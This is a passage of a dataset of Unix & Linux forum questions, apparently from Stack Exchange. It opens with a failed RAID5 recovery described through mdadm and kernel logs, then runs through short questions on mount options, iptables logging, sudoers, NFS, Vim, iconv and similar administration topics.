raid5: device sdf operational as raid disk 4 Jul 6 08:43:25 nasty kernel: [ 12.969689] raid5: device sde operational as raid disk 3 Jul 6 08:43:25 nasty kernel: [ 12.969692] raid5: device sdd operational as raid disk 2 Jul 6 08:43:25 nasty kernel: [ 12.969694] raid5: device sdc operational as raid disk 1 Jul 6 08:43:25 nasty kernel: [ 12.970536] raid5: allocated 9542kB for md127 Jul 6 08:43:25 nasty kernel: [ 12.973975] 0: w=1 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 6 08:43:25 nasty kernel: [ 12.973980] 8: w=2 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 6 08:43:25 nasty kernel: [ 12.973983] 6: w=3 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 6 08:43:25 nasty kernel: [ 12.973986] 5: w=4 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 6 08:43:25 nasty kernel: [ 12.973989] 4: w=5 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 6 08:43:25 nasty kernel: [ 12.973992] 3: w=6 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 6 08:43:25 nasty kernel: [ 12.973996] 2: w=7 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 6 08:43:25 nasty kernel: [ 12.973999] 1: w=8 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 6 08:43:25 nasty kernel: [ 12.974002] raid5: raid level 5 set md127 active with 8 out of 9 devices, algorithm 2 Unfortunately this wasn't recognized and now another drive was kicked (sde): Jul 14 08:02:45 nasty kernel: [ 12.918556] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919043] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919158] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919260] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919361] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919461] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919556] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919641] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919756] md: bind Jul 14 08:02:45 nasty kernel: [ 12.919775] md: kicking non-fresh sdi from array! Jul 14 08:02:45 nasty kernel: [ 12.919781] md: unbind Jul 14 08:02:45 nasty kernel: [ 12.928177] md: export_rdev(sdi) Jul 14 08:02:45 nasty kernel: [ 12.928187] md: kicking non-fresh sde from array! Jul 14 08:02:45 nasty kernel: [ 12.928198] md: unbind Jul 14 08:02:45 nasty kernel: [ 12.936064] md: export_rdev(sde) Jul 14 08:02:45 nasty kernel: [ 12.943900] raid5: device sda operational as raid disk 0 Jul 14 08:02:45 nasty kernel: [ 12.943904] raid5: device sdj operational as raid disk 8 Jul 14 08:02:45 nasty kernel: [ 12.943907] raid5: device sdh operational as raid disk 6 Jul 14 08:02:45 nasty kernel: [ 12.943909] raid5: device sdg operational as raid disk 5 Jul 14 08:02:45 nasty kernel: [ 12.943911] raid5: device sdf operational as raid disk 4 Jul 14 08:02:45 nasty kernel: [ 12.943914] raid5: device sdd operational as raid disk 2 Jul 14 08:02:45 nasty kernel: [ 12.943916] raid5: device sdc operational as raid disk 1 Jul 14 08:02:45 nasty kernel: [ 12.944776] raid5: allocated 9542kB for md127 Jul 14 08:02:45 nasty kernel: [ 12.944861] 0: w=1 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 14 08:02:45 nasty kernel: [ 12.944864] 8: w=2 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 14 08:02:45 nasty kernel: [ 12.944867] 6: w=3 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 14 08:02:45 nasty kernel: [ 12.944871] 5: w=4 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 14 08:02:45 nasty kernel: [ 12.944874] 4: w=5 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 14 08:02:45 nasty kernel: [ 12.944877] 2: w=6 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 14 08:02:45 nasty kernel: [ 12.944879] 1: w=7 pa=0 pr=9 m=1 a=2 r=9 op1=0 op2=0 Jul 14 08:02:45 nasty kernel: [ 12.944882] raid5: not enough operational devices for md127 (2/9 failed) And now the array does not start anymore. However it seems that every disk contains the raid metadata: /dev/sda: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : clean Device UUID : 8600bda9:18845be8:02187ecc:1bfad83a Update Time : Mon Jul 14 00:45:35 2014 Checksum : e38d46e8 - correct Events : 123132 Layout : left-symmetric Chunk Size : 512K Device Role : Active device 0 Array State : AAA.AAA.A ('A' == active, '.' == missing) /dev/sdc: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : clean Device UUID : fe612c05:f7a45b0a:e28feafe:891b2bda Update Time : Mon Jul 14 00:45:35 2014 Checksum : 32bb628e - correct Events : 123132 Layout : left-symmetric Chunk Size : 512K Device Role : Active device 1 Array State : AAA.AAA.A ('A' == active, '.' == missing) /dev/sdd: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : clean Device UUID : 1d14616c:d30cadc7:6d042bb3:0d7f6631 Update Time : Mon Jul 14 00:45:35 2014 Checksum : 62bd5499 - correct Events : 123132 Layout : left-symmetric Chunk Size : 512K Device Role : Active device 2 Array State : AAA.AAA.A ('A' == active, '.' == missing) /dev/sde: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : active Device UUID : a2babca3:1283654a:ef8075b5:aaf5d209 Update Time : Mon Jul 14 00:45:07 2014 Checksum : f78d6456 - correct Events : 123123 Layout : left-symmetric Chunk Size : 512K Device Role : Active device 3 Array State : AAAAAAA.A ('A' == active, '.' == missing) /dev/sdf: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : clean Device UUID : e67d566d:92aaafb4:24f5f16e:5ceb0db7 Update Time : Mon Jul 14 00:45:35 2014 Checksum : 9223b929 - correct Events : 123132 Layout : left-symmetric Chunk Size : 512K Device Role : Active device 4 Array State : AAA.AAA.A ('A' == active, '.' == missing) /dev/sdg: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : clean Device UUID : 2cee1d71:16c27acc:43e80d02:1da74eeb Update Time : Mon Jul 14 00:45:35 2014 Checksum : 7512efd4 - correct Events : 123132 Layout : left-symmetric Chunk Size : 512K Device Role : Active device 5 Array State : AAA.AAA.A ('A' == active, '.' == missing) /dev/sdh: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : clean Device UUID : c239f0ad:336cdb88:62c5ff46:c36ea5f8 Update Time : Mon Jul 14 00:45:35 2014 Checksum : c08e8a4d - correct Events : 123132 Layout : left-symmetric Chunk Size : 512K Device Role : Active device 6 Array State : AAA.AAA.A ('A' == active, '.' == missing) /dev/sdi: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : active Device UUID : d06c58f8:370a0535:b7e51073:f121f58c Update Time : Mon Jul 14 00:45:07 2014 Checksum : 77844dcc - correct Events : 0 Layout : left-symmetric Chunk Size : 512K Device Role : spare Array State : AAAAAAA.A ('A' == active, '.' == missing) /dev/sdj: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : clean Device UUID : f2de262f:49d17fea:b9a475c1:b0cad0b7 Update Time : Mon Jul 14 00:45:35 2014 Checksum : dd0acfd9 - correct Events : 123132 Layout : left-symmetric Chunk Size : 512K Device Role : Active device 8 Array State : AAA.AAA.A ('A' == active, '.' == missing) But as you can see the two drives (sde, sdi) are in active state (but raid is stopped) and sdi is a spare. While sde has a slightly lower Events-count than most of the other drives (123123 instead of 123132) sdi has an Events-count of 0. So I think sde is almost up-to-date. But sdi not ... Now we read online that a hard power-off could cause these \"kicking non- fresh\"-messages. And indeed my friend caused a hard power-off one or two times. So we followed the instructions we found online and tried to re-add sde to the array: $ mdadm /dev/md127 --add /dev/sde mdadm: add new device failed for /dev/sde as 9: Invalid argument But that failed and now `mdadm --examine /dev/sde` shows an Events-count of 0 for sde too (+ it's a spare now like sdi): /dev/sde: Magic : a92b4efc Version : 1.2 Feature Map : 0x0 Array UUID : b8a04dbb:0b5dffda:601eb40d:d2dc37c9 Name : nasty:stuff (local to host nasty) Creation Time : Sun Mar 16 02:37:47 2014 Raid Level : raid5 Raid Devices : 9 Avail Dev Size : 7814035120 (3726.02 GiB 4000.79 GB) Array Size : 62512275456 (29808.18 GiB 32006.29 GB) Used Dev Size : 7814034432 (3726.02 GiB 4000.79 GB) Data Offset : 2048 sectors Super Offset : 8 sectors State : clean Device UUID : 689e0030:142122ae:7ab37935:c80ab400 Update Time : Mon Jul 14 00:45:35 2014 Checksum : 5e6c4cf7 - correct Events : 0 Layout : left-symmetric Chunk Size : 512K Device Role : spare Array State : AAA.AAA.A ('A' == active, '.' == missing) We know that 2 failed drives usually means the death for a raid5. However is there a way to add at least sde to the raid so that data can be saved?"} {"_id": "74244", "title": "Hybrid code in shell scripts. Sharing variables", "text": "This answer discusses how to run a multi-line Python snippet from the command line in a terminal. I noticed that the answer works great within shell scripts, even with nested indentation, which is very nice, e.g. #!/bin/bash some_text=\"Hello world\" echo $some_text cat < Each process, has a _current directory_ , and all filenames are implicitly > assumed to start with the name of that directory, unless they begin directly > with a slash. Does it mean that every process has a sign in which directory it was created? For example, if program `/bin/sed` was invoked from `/home/rene`, then process which was created from invoking sed has the current directory `/home/rene`?"} {"_id": "146620", "title": "Difference between 'sync' and 'async' mount options", "text": "What is the difference between `sync` and `async` mount options from the end- user point of view? Is file system mounted with one of these options works faster than if mounted with another one? Which option is the default one, if none of them is set? `man mount` says that `sync` option may reduce lifetime of flash memory, but it may by obsolete conventional wisdom. Anyway this concerns me a bit, because my primary hard drive, where partitions `/` and `/home` are placed, is SSD drive. Ubuntu installer (14.04) have not specified `sync` nor `async` option for `/` partition, but have set `async` for `/home` by the option `defaults`. Here is my `/etc/fstab`, I added some additional lines (see comment), but not changed anything in lines made by installer: # / was on /dev/sda2 during installation UUID=7e4f7654-3143-4fe7-8ced-445b0dc5b742 / ext4 errors=remount-ro 0 1 # /home was on /dev/sda3 during installation UUID=d29541fc-adfa-4637-936e-b5b9dbb0ba67 /home ext4 defaults 0 2 # swap was on /dev/sda4 during installation UUID=f9b53b49-94bc-4d8c-918d-809c9cefe79f none swap sw 0 0 # here goes part written by me: # /mnt/storage UUID=4e04381d-8d01-4282-a56f-358ea299326e /mnt/storage ext4 defaults 0 2 # Windows C: /dev/sda1 UUID=2EF64975F6493DF9 /mnt/win_c ntfs auto,umask=0222,ro 0 0 # Windows D: /dev/sdb1 UUID=50C40C08C40BEED2 /mnt/win_d ntfs auto,umask=0222,ro 0 0 So if my `/dev/sda` is SSD, should I - for the sake of reducing wear - add `async` option for `/` and `/home` file systems? Should I set `sync` or `async` option for additional partitions that I defined in my `/etc/fstab`? What is recommended approach for SSD and HDD drives?"} {"_id": "139259", "title": "My iptables works the opposite from what I wanted", "text": "I have this set of `iptables` rules ... $ sudo iptables -n -L Chain INPUT (policy ACCEPT) target prot opt source destination LOG all -- 0.0.0.0/0 0.0.0.0/0 limit: avg 5/min bu REJECT tcp -- 192.168.1.134 0.0.0.0/0 tcp dpt:22 reject-w Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination ... the above blocks 192.168.1.134 but it does not log attempts from 192.168.1.134. Instead connections from other clients are logged. I just want to log the dropped packets. What I want to do is log all dropped packets."} {"_id": "144776", "title": "ajaxterm using proportional font", "text": "I have Ubuntu 14.04 LTS, Apache 2.4.7, Python 2.7.6 and Ajaxterm 0.10-12ubuntu1. Ajaxterm is proxied via Apache. Here's the apache.conf excerpt: # Suppresses the Via header ProxyVia Off # Do not flood the log #CustomLog /var/log/apache2/access.log combined env=!dontlog #SetEnvIf Request_URI \"^/ajaxterm/u\" dontlog ProxyRequests Off Order deny,allow Allow from all ProxyPass /ajaxterm/ http://localhost:8022/ retry=0 ProxyPassReverse /ajaxterm/ http://localhost:8022/ retry=0 When it was initially installed, Ajaxterm worked fine. Now, however, it uses a proportional font instead: ![Ajaxterm](http://i.stack.imgur.com/ab4Pv.png) I've uninstalled and reinstalled it, but I can't figure out what the problem is. No errors appear in the browser console or network inspector."} {"_id": "139254", "title": "Why can't Vim open a 100 MB text file when I have 16 GB RAM?", "text": "I have a 100MB MySQL database backup file and I have trouble to open it in Vim on my Linux box that has 16G of RAM. Vim just hangs (at least unusable). This is something I don't understand. I have 16 GB RAM, why can't I load a 100 MB file in an editor? Is it because of Vim? I thought all the memory management is handled by the OS."} {"_id": "139252", "title": "Give user permission to rm without password or sudo", "text": "I'm trying to give the `ubuntu` user on my machine the ability to `rm` folders and files (mainly in the `/www/` folder) without the need to invoke a password or the need to use `sudo`. I've been following this article and ended up trying this in my `sudoers` file. ubuntu ALL = (ALL) NOPASSWD: /bin/rm This unfortunately doesn't do the trick. Can anyone help me with the proper configuration?"} {"_id": "98104", "title": "Mutt is not able to send mail from Cygwin", "text": "I have installed mutt packages and when I tried to send mail to my email address I get the error here: > mutt 4352 child_info_fork::abort: C:\\cygwin\\bin\\cygdb-4.8.dll: Loaded to > different address: parent(0x4E0000) != child(0x800000) Error sending > message, child exited 127 (Exec error.)"} {"_id": "75285", "title": "Free gnu/linux distribution for web server", "text": "I would like to ask if anyone has tried using any 100% free software distro as server OS. Either directly on hardware or through a virtual machine. What where the most important shortcomings? I came across trisquel, ututo and parabola distributions, yet they come with GUIs pre-installed and they didn't seem server oriented at all."} {"_id": "106868", "title": "Always display Energy Applet?", "text": "My Stepdad uses Linux Mint and although he doesn't have a laptop, he would like the power/energy applet to be visible in the taskbar so he can keep track of his wireless mouse it's power status. Could anyone tell me how to \"always display the power/energy applet\" in the taskbar?"} {"_id": "57575", "title": "Find: Reference to Current Directory", "text": "I'm trying to use `find` with the `regex` option. However my regular expression only captures the basename of the file. Is there a reference to the \"directory find is currently in\" I can use in my regular expression so that I don't have to account for it by means of a leading `.*`? (I'm looking for something like the `$File::Find::dir` in `perl`'s `File::Find` module.) As an example: suppose I want to find all files matching the regular expression `baz\\d` anywhere below `/foo/bar/`. Using `find /foo/bar -regex 'baz\\d'` won't find a file named `baz1` at `/foo/bar/` because the pattern `baz\\d` doesn't match the full filename `/foo/bar/baz1`, so instead I'm using `find /foo/bar -regex '.*baz\\d'` which works, but I'm wondering whether I can replace that `.*` with something more robust?"} {"_id": "70549", "title": "Learning Linux for intermediate user", "text": "Here is my situation : * I know how to compile some programs. I know how `make` and `gcc` works. I know `bash`. * I am fairly comfortable with command-line. * I know how it works in my computer for some programs. I am not satisfied. What I want to learn is this : * I want to learn how programs really work, what really happens when I compile a program, which file gets copied in which directory, etc. I often find myself unable to successfully compile a program, so I end up using `apt-get` to install it. I find it to \"magical\" for me. I want to know what `apt-get` does to my computer. * I want to learn where to find configuration files and how to edit them. Particularly, I want to learn how mime-types work. I want to know more about environment variables as well. * In fact, I am looking for total control over my computer. I think installing Arch Linux would be a good thing, but I want to learn the above before. Can you show me a resource I can use which is not too technical at the same time? Do you have any suggestion, recommendation?"} {"_id": "39842", "title": "/etc/motd is not displayed when a named pipe?", "text": "Running Gentoo 3.4.0 Having recently heard about the /etc/motd file, i tried to have it display random cowsay fortunes. I wrote some random bash script to act as a daemon, feeding the /etc/motd as a named pipe, as seen on some forums. I don't think there's any problem with the script because cat'ing the pipe works just fine, but the MOTD won't display on login (using a regular file works) ! fira@nyan ~ % cat /etc/motd _______________________________________ / We didn't put in ^^ because then we'd \\ | have to keep telling people what it | | means, and then we'd have to keep | | telling them why it doesn't short | | circuit. :-/ | | | | -- Larry Wall in | \\ <199707300650.XAA05515@wall.org> / --------------------------------------- \\ \\ .--. |o_o | |:_/ | // \\ \\ (| | ) /'\\_ _/`\\ \\___)=(___/ Am i missing something obvious ? Not using anything like a .hushlogin or whatnot, tried using several shells, pipe is readable a+r."} {"_id": "39845", "title": "Debian monitor unknown and dual monitor setup", "text": "I'm running Debian on my laptop (Thinkpad T420 if it matters), and what I am trying to do is setup the native resolution. I want it to be 1366x768 but it's stuck at 1024x768 because when I go to Monitor Preferences, it says Monitor: Unknown. I've tried several things such as `xrandr --addmode VGA1 1366x768_60.00` and all the steps that contains that I've found on different websites. Some say remove `xorg.conf` but I don't have that in my X11 folder. Have any of you guys encountered this problem before? Also I'm trying to setup 2 monitors but again, they don't show up in Monitor Preferences."} {"_id": "39844", "title": "How can I log what software I use the most?", "text": "I really like using open source software and would like to help fund further development. Unfortunately, I have limited funds to do so. Being somewhat greedy, I would like to donate to the projects I use the most, but I am uncertain what those might be as many run somewhat behind the scenes. What I would like to do is somehow log what programs I use the most but I am uncertain how. One thought I had was log the time each program spends having focus (ideally only while computer is unlocked). Logging the time a process spends actively doing something could be another metric. I'm not really sure how to track either of these. What is the best way to track which software I use the most? (For what it is worth, I generally use Arch Linux, but occasionally use Ubuntu, so portability would be appreciated.)"} {"_id": "39846", "title": "How to fix non-responsive Ubuntu system?", "text": "I use Ubuntu. Sometimes, the system does not have any response with mouse and keyboard. Is there any way to solve this problem except hitting the reset button on the machine?"} {"_id": "75283", "title": "Openldap backup restore", "text": "I am trying to setup backup and restore and make sure it works. Please note that database size on `ldap.old` is lot more then the `ldap`. The `/var/lib/ldap.old` is my existing database. I have renamed `/var/lib/ldap` for backup/restore testing. I am getting the following error when restoring. Because of this I am not sure I have successfully restored everything. ... added: \"uid=user11123,ou=Abcd,ou=Industry Professional,dc=testdomain,dc=org\" (0001cc9f) added: \"uid=user13123,ou=Abcd,ou=Industry Professional,dc=testdomain,dc=org\" (0001cca0) Error, entries missing! entry 79870: ou=industryprofessional,dc=testdomain,dc=org entry 79871: ou=abcd professional,ou=industryprofessional,dc=testdomain,dc=org ### Disk usage: [root@openldap]# du -khs ldap ldap.old/ 3.3G ldap 4.0G ldap.old/ Here is my backup / restore process: ### Backup: slapcat -v -l backup_openldap.ldif ### Restore: /etc/init.d/ldap stop mv /var/lib/ldap /var/lib/ldap.old mkdir /var/lib/ldap chown ldap:ldap ldap chmod go-rwx ldap cp \u2013rfp /var/lib/ldap.old/DB_CONFIG /var/lib/ldap slapadd \u2013v \u2013l /backup/openldap/backup_ldap2.diff chown ldap:ldap * /etc/init.d/ldap start How do I validate that I have restore all records successfully?"} {"_id": "70541", "title": "Grep end regex matching", "text": "On OS X, `system_profiler SPHardwareDataType` outputs: Hardware Overview: Model Name: MacBook Pro Total Number of Cores: 4 L2 Cache (per Core): 256 KB L3 Cache: 8 MB Memory: 8 GB I want to get the `Memory` value, trimmed of whitespaces. This is what I had: system_profiler SPHardwareDataType | grep --color=never -E '^ +Memory: ' | cut -d ':' -f 2 Not ok. It keeps the whitespace. I switched to this: system_profiler SPHardwareDataType | perl -ne 'if(/^ +Memory: (.*)$/){print $1;}' and I'd like to ask: * Could this be made more concise in Perl? The braces annoy me, often I type them wrong. Having to put the condition in `()` is also bothersome. The semicolon is bothersome. * Could this be made as concisely using more basic UNIX tools? (grep/sed/awk)? I think this idiom \"grep for pattern and replace\" must be very common to extract info. I am a beginner but an experienced sysadmin/devops perhaps could recommend the best line to use? Note: I do not use this line I like.. system_profiler SPHardwareDataType | sed -Ene 's/^ +Memory: (.*)$/\\1/g p' because extended regexes (`-E` are `-r` on some platforms? possible?) and fundamentally because, although I understand that `sed` works on lines, `-n` suppresses output unless I explicitly `p` print it, `s//g` is a normal regex `substitute`.. and that commands following a `match` are only executed on matching lines.. I am puzzled by the fact that `s//g` in reality is an action in itself.. so I would expect `p` to require a `;` before it.. odd that you can both replace and use the match as a condition to execute the comand.. is that line correct at all?"} {"_id": "103321", "title": "Is it possible to use xsetroot and dwm to set the top and bottom bars at different time intervals?", "text": "I'm using dwm with the dualstatus patch. This adds a status bar on the bottom of the screen, in addition to the standard bar at the top. The text in each bar is set in ~/.xinitrc (for example) like this: xsetroot -name \u201ctop text;bottom text\u201d Is there a way in bash to set the top text and bottom text at different intervals? For example, I have a script `topbar` that displays system information, e.g. output from the uptime command, and a script `bottombar` that displays information like weather, battery state, etc. The goal is to have the top bar update every second, while the bottom bar only updates every minute because its information comes from more expensive processes (e.g. querying my music player, checking the battery state, etc.) Right now my ~/.xinitrc looks like this: while true; do bottomdisp=$(bottombar) for s in {1..60} do xsetroot -name \"$(topbar);$bottomdisp\"; sleep 1; done done & xbindkeys ( ( sleep 5 && /usr/bin/xscreensaver -no-splash -display :0.0 ) & ) exec rundwm This updates every second, though. Is there a simpler way to do this? The ideas I could think of were 1. Maybe a way to tell xsetroot to preserve whatever's in the bottom bar? As a last resort, I may tweak some of the code in the `dualstatus` patch to allow it to preserve the current state of the top/bottom bars if something like `xsetroot -name ';bottom text'` is passed, but that's not ideal because my C is rusty and I still use the above command to clear the bars at times. 2. Use a cronjob to update a cache of the text in the bottom bar, and run that once a minute. Even though the top/bottom bars would display every second, only the top bar would actually _change_ every second. Any other methods for this? Is there a simple(r) way to do this in bash that I missed?"} {"_id": "91726", "title": "Poor text editing performance from the radeon open source driver; should I install proprietary driver or try to fix this?", "text": "I followed the steps at the link below to remove the proprietary driver and install the Radeon open source driver. RadeonDriver - Community Ubuntu Documentation https://help.ubuntu.com/community/RadeonDriver However, now I notice that when I'm editing text (such as in this website) if I delete lines a few adjacent lines may completely disappear until I scroll or edit again. This bothers me enough that I need to make a change. Should I go back to the proprietary driver? I'm running Kubuntu 12.04 with a Radeon HD 6750 card and 3 monitors (one at 2560x1600 resolution and the other 2 at 1920 x 1200). Maybe that is too much for the open source driver? Recommendations?"} {"_id": "106864", "title": "how to force X mouse pointer to show above rendered application cursor?", "text": "I opened a new X session at :1 I run a game that renders its own mouse pointer (that has low FPS), so the X cursor is hidden. I need to force the X cursor to show above the application self rendered cursor. That way I know where the mouse precisely is so I can wait there for the application mouse pointer to be rendered (even if it renders with a displacement). OBS.: I am using JWM, so there is no Gnome, Compiz/Unity or KDE at :1 _Failed Attempts:_ * `DISPLAY=:1 xsetroot -cursor_name left_ptr` #trying to unhide the mouse pointer or to change its graphics so it show up again * `xinput set-prop \"A4Tech USB Mouse\" \"Device Enabled\" 1` #but the mouse is already enabled there so did not work... (from this tip)"} {"_id": "106867", "title": "Adjust font size in multi-head setup with different resolutions", "text": "I have a multi monitor setting with the main screen resolution 3840x2160 and two additional screens running on 1920x1080. When I drag for example a firefox window between the screens, Windows seems to somehow automagically adjust font and image sizes, so the web page is always readable. In linux however, moving between resolutions makes the text either extremely small (on the main screen) or too large (on the additional screens). Is there a way to get windows-like behaviour in this matter? I'm currently using KDE, but I'd switch to a different window manager if that is necessary to solve the problem."} {"_id": "106866", "title": "How do I use unused partition in a dual boot environment", "text": "I have Ubuntu installed as a host with Windows operating system.I have installed Ubuntu on one Windows drive having around 70 GB of space. While installing Ubuntu I just specified 30 GB of disk space and rest of 40 GB space is not used. Now for some requirement I wanted to use the remaining space 40GB. I have installed `gparted` but I can't use it for my needs. I attached the screen shot of `gparted` here. ![enter image description here](http://i.stack.imgur.com/uwRTx.png) Can anyone help me in reclaiming the unused space?"} {"_id": "72840", "title": "SSH connections not accepted after configuring NFS?", "text": "I have a couple of servers in a VPC in Amazon EC2. One of them acts as a NFS server, and one of them as a client. I recently noticed a problem in the client that after a reboot, it would reject all SSH connections, presumably because SSH was not running. After transferring the EBS volume to another instance and taking a peek inside, I commented out the NFS line in `/etc/fstab` and tried attaching it back to the server and booting it. Lo and behold, I was able to connect with SSH. It seems that having the following line in my fstab is breaking everything on boot: 10.0.0.1:/export/share /mnt/shared nfs auto 0 0 Why is this causing SSH to fail to start? How can I have NFS automatically mount on boot without breaking networking/SSH on the system? I've checked that `sudo mount -a` works properly, so it seems that there isn't an inherent problem in the fstab command. What's breaking and how can I fix it?"} {"_id": "125003", "title": "Installing multiple versions of MySQL on Oracle Linux", "text": "I have a Oracle Linux 5 server. I have to install MySQL 5.1 as well as MySQL 5.6. Is it possible to install both version of MySQL on the same machine? If yes, how can I achieve this?"} {"_id": "72842", "title": "Unix command to exit from command prompt", "text": "How can I exit from command prompt from shell file? shell file contains : if(); then // some unix code here else // want to exit from cmd prompt or Kill current cmd prompt fi can any knows @ it?"} {"_id": "141538", "title": "How to correctly enable sudo for user in Fedora 20", "text": "I followed this question in order to enable `sudo` command for my created user. So I added it into the `wheels` group and edited the `/etc/sudoers` file accordingly. But what I don't get about this is when I type for instance `sudo yum install`, it requires password of that user, not the password of `root`. This seems really insecure because if the account gets compromised, you can access `root`'s functions with that users password. Shouldn't it work in the way that if you want `root` rights, than you need to know `root`'s password?"} {"_id": "141539", "title": "iconv illegal input sequence- why?", "text": "While trying to convert a text file into its ASCII equivalent, I get error message that `iconv: illegal input sequence at position`. Command I use is `iconv -f UTF-8 -t ascii//TRANSLIT file` The offending character is `\u00e6`. Text file itself is present here. Why does it say illegal sequence? The input character is proper UTF-8 character (U+00E6)."} {"_id": "105301", "title": "Zsh completion of hadoop commands", "text": "Hadoop has a range of commands and subcommands to specify different operations on MapReduce, HFS etc. (e.g. `hadoop dfs` can be followed by any command from this list). Is there any way to enable completion of these commands in Zsh? In case it helps, I am using Oh-my-zsh."} {"_id": "105302", "title": "How to switch tty with a script / cronjob", "text": "Is it possible to switch the current tty/vt with the help of a bash script or a cronjob? I only know the physical keyboard input \"Ctrl-Alt-Fx\". I would like to show two virtual desktops at different daytimes (controlled by cron)."} {"_id": "105304", "title": "Restart sound indicator in ubuntu", "text": "When the sound crashes, I can restart it with: sudo alsa force-reload However, that doesn't bring the sound indicator (system tray indicator) back. I am running Ubuntu 13.10 with LightDm."} {"_id": "141530", "title": "Converting windows date logic into Unix", "text": "I had coded the below logic in Windows batch scripting and I need to replicate the same in Unix. # Calculating Yesterday's Date for /F \"tokens=1-4 delims=/- \" %%a in ('date/T') do set DY=%%c for /F \"tokens=1-4 delims=/- \" %%a in ('date/T') do set MON=%%b for /F \"tokens=1-4 